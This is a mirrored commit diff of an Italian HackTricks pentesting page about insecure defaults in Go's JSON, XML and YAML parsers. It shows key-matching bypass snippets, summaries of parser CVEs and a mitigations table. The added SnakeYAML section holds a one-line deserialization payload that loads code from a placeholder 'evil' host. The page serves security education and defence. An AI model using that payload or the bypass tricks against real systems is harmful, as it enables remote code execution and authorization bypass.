mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/json-xml-yaml-hacking.md'] to it
This commit is contained in:
parent
67321cc096
commit
8a49853180
@ -6,7 +6,8 @@
|
||||
|
||||
I seguenti problemi sono stati rilevati nel Go JSON anche se potrebbero essere presenti in altre lingue. Questi problemi sono stati pubblicati in [**questo post del blog**](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/).
|
||||
|
||||
I parser JSON, XML e YAML di Go hanno una lunga serie di incoerenze e impostazioni predefinite insicure che possono essere sfruttate per **bypassare l'autenticazione**, **escalare privilegi** o **esfiltrare dati sensibili**.
|
||||
I parser JSON, XML e YAML di Go hanno una lunga serie di incoerenze e impostazioni predefinite insicure che possono essere sfruttate per **bypassare l'autenticazione**, **escalare i privilegi** o **esfiltrare dati sensibili**.
|
||||
|
||||
|
||||
### (Un)Marshaling Unexpected Data
|
||||
|
||||
@ -73,7 +74,7 @@ Anche i trucchi Unicode funzionano:
|
||||
```go
|
||||
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)
|
||||
```
|
||||
**3. Mismatch tra servizi:**
|
||||
**3. Disallineamento tra servizi:**
|
||||
Immagina:
|
||||
- Proxy scritto in Go
|
||||
- Servizio AuthZ scritto in Python
|
||||
@ -108,21 +109,57 @@ Il parser XML di Go lo ha analizzato **comunque** e ha fidato l'identità iniett
|
||||
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
|
||||
}
|
||||
```
|
||||
Risultato:
|
||||
- **Go JSON** parser: `Action_2` (non sensibile al maiuscolo + ultimo vince)
|
||||
- **YAML** parser: `Action_1` (sensibile al maiuscolo)
|
||||
- **XML** parser: analizza `"Action_3"` all'interno della stringa
|
||||
- **Go JSON** parser: `Action_2` (case-insensitive + last wins)
|
||||
- **YAML** parser: `Action_1` (case-sensitive)
|
||||
- **XML** parser: parses `"Action_3"` inside the string
|
||||
|
||||
---
|
||||
|
||||
### 🔐 Mitigazioni
|
||||
## Vulnerabilità Notabili dei Parser (2023-2025)
|
||||
|
||||
| Rischio | Soluzione |
|
||||
|-----------------------------|---------------------------------------|
|
||||
| Campi sconosciuti | `decoder.DisallowUnknownFields()` |
|
||||
| Campi duplicati (JSON) | ❌ Nessuna soluzione nella stdlib |
|
||||
| Corrispondenza non sensibile al maiuscolo | ❌ Nessuna soluzione nella stdlib |
|
||||
| Dati spazzatura XML | ❌ Nessuna soluzione nella stdlib |
|
||||
| YAML: chiavi sconosciute | `yaml.KnownFields(true)` |
|
||||
> I seguenti problemi pubblicamente sfruttabili mostrano che il parsing insicuro è un problema multi-linguaggio — non solo un problema di Go.
|
||||
|
||||
### RCE da Deserializzazione SnakeYAML (CVE-2022-1471)
|
||||
|
||||
* Colpisce: `org.yaml:snakeyaml` < **2.0** (utilizzato da Spring-Boot, Jenkins, ecc.).
|
||||
* Causa principale: `new Constructor()` deserializza **classi Java arbitrarie**, consentendo catene di gadget che culminano nell'esecuzione di codice remoto.
|
||||
* One-liner PoC (aprirà la calcolatrice sull'host vulnerabile):
|
||||
```yaml
|
||||
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
|
||||
```
|
||||
* Correzione / Mitigazione:
|
||||
1. **Aggiorna a ≥2.0** (usa `SafeLoader` per impostazione predefinita).
|
||||
2. Nelle versioni precedenti, usa esplicitamente `new Yaml(new SafeConstructor())`.
|
||||
|
||||
### libyaml Double-Free (CVE-2024-35325)
|
||||
|
||||
* Riguarda: `libyaml` ≤0.2.5 (libreria C sfruttata da molti binding di linguaggi).
|
||||
* Problema: Chiamare `yaml_event_delete()` due volte porta a un double-free che gli attaccanti possono trasformare in DoS o, in alcuni scenari, sfruttamento dell'heap.
|
||||
* Stato: Rifiutato upstream come “uso improprio dell'API”, ma le distribuzioni Linux hanno fornito una patch **0.2.6** che annulla difensivamente il puntatore.
|
||||
|
||||
### RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)
|
||||
|
||||
* Riguarda: Tencent **RapidJSON** prima del commit `8269bc2` (<1.1.0-patch-22).
|
||||
* Bug: In `GenericReader::ParseNumber()` l'aritmetica non controllata consente agli attaccanti di creare enormi letterali numerici che si avvolgono e corrompono l'heap — abilitando infine l'escalation dei privilegi quando il grafo degli oggetti risultante viene utilizzato per decisioni di autorizzazione.
|
||||
|
||||
---
|
||||
|
||||
### 🔐 Mitigazioni (Aggiornato)
|
||||
|
||||
| Rischio | Correzione / Raccomandazione |
|
||||
|-------------------------------------|-------------------------------------------------------------|
|
||||
| Campi sconosciuti (JSON) | `decoder.DisallowUnknownFields()` |
|
||||
| Campi duplicati (JSON) | ❌ Nessuna correzione nella stdlib — valida con [`jsoncheck`](https://github.com/dvsekhvalnov/johnny-five) |
|
||||
| Corrispondenza case-insensitive (Go)| ❌ Nessuna correzione — valida i tag della struct + pre-canonicalizza l'input |
|
||||
| Dati spazzatura XML / XXE | Usa un parser rinforzato (`encoding/xml` + `DisallowDTD`) |
|
||||
| Chiavi sconosciute YAML | `yaml.KnownFields(true)` |
|
||||
| **Deserializzazione YAML non sicura**| Usa SafeConstructor / aggiorna a SnakeYAML ≥2.0 |
|
||||
| libyaml ≤0.2.5 double-free | Aggiorna a **0.2.6** o a una release patchata dalla distro |
|
||||
| RapidJSON <commit patchato | Compila contro l'ultima versione di RapidJSON (≥Luglio 2024) |
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- Baeldung – “Risoluzione di CVE-2022-1471 con SnakeYAML 2.0”
|
||||
- Ubuntu Security Tracker – CVE-2024-35325 (libyaml)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user